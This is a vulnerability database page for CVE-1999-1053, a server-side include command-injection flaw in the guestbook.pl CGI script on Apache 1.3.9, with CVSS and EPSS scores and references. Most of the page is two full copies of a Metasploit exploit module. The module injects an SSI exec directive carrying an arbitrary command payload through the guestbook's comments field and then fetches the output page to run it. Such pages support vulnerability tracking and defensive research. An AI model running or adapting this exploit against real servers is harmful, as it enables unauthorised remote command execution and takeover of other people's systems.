" separators, which allows remote attackers to execute arbitrary commands when guestbook.pl is run on Apache 1.3.9 and possibly other versions, since Apache allows other closing sequences besides "-->".">

CVE-1999-1053 : Detail

CVE-1999-1053

96.01%V3
Network
2001-09-12
02h00 +00:00
2024-08-01
16h55 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

guestbook.pl cleanses user-inserted SSI commands by removing text between "" separators, which allows remote attackers to execute arbitrary commands when guestbook.pl is run on Apache 1.3.9 and possibly other versions, since Apache allows other closing sequences besides "-->".

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16914

Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: guestbook_ssi_exec.rb 9671 2010-07-03 06:21:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution', 'Description' => %q{ The Matt Wright guestbook.pl <= v2.3.1 CGI script contains a flaw that may allow arbitrary command execution. The vulnerability requires that HTML posting is enabled in the guestbook.pl script, and that the web server must have the Server-Side Include (SSI) script handler enabled for the '.html' file type. By combining the script weakness with non-default server configuration, it is possible to exploit this vulnerability successfully. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9671 $', 'References' => [ [ 'CVE', '1999-1053' ], [ 'OSVDB', '84' ], [ 'BID', '776' ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => [ 'unix', 'win', 'linux' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Nov 05 1999', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]), OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]), ], self.class) end def exploit realname = rand_text_alphanumeric(20) email = rand_text_alphanumeric(20) city = rand_text_alphanumeric(20) state = rand_text_alphanumeric(20) country = rand_text_alphanumeric(20) sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal') req1 = send_request_cgi({ 'uri' => datastore['URI'], 'method' => 'POST', 'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}", }, 25) req2 = send_request_raw({ 'uri' => datastore['URIOUT'], }, 25) end end
Exploit Database EDB-ID : 9907

Publication date : 1999-11-04 23h00 +00:00
Author : patrick
EDB Verified : Yes

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution', 'Description' => %q{ The Matt Wright guestbook.pl <= v2.3.1 CGI script contains a flaw that may allow arbitrary command execution. The vulnerability requires that HTML posting is enabled in the guestbook.pl script, and that the web server must have the Server-Side Include (SSI) script handler enabled for the '.html' file type. By combining the script weakness with non-default server configuration, it is possible to exploit this vulnerability successfully. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '1999-1053' ], [ 'OSVDB', '84' ], [ 'BID', '776' ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => [ 'unix', 'win', 'linux' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Nov 05 1999', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]), OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]), ], self.class) end def exploit realname = rand_text_alphanumeric(20) email = rand_text_alphanumeric(20) city = rand_text_alphanumeric(20) state = rand_text_alphanumeric(20) country = rand_text_alphanumeric(20) sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal') req1 = send_request_cgi({ 'uri' => datastore['URI'], 'method' => 'POST', 'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}", }, 25) req2 = send_request_raw({ 'uri' => datastore['URIOUT'], }, 25) end end

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version 1.3.9

Matt_wright>>Matt_wright_guestbook >> Version 2.3

    References

    http://www.securityfocus.com/archive/82/27296
    Tags : mailing-list, x_refsource_VULN-DEV
    http://www.securityfocus.com/bid/776
    Tags : vdb-entry, x_refsource_BID
    http://www.securityfocus.com/archive/1/33674
    Tags : mailing-list, x_refsource_BUGTRAQ
    http://www.securityfocus.com/archive/82/27560
    Tags : mailing-list, x_refsource_VULN-DEV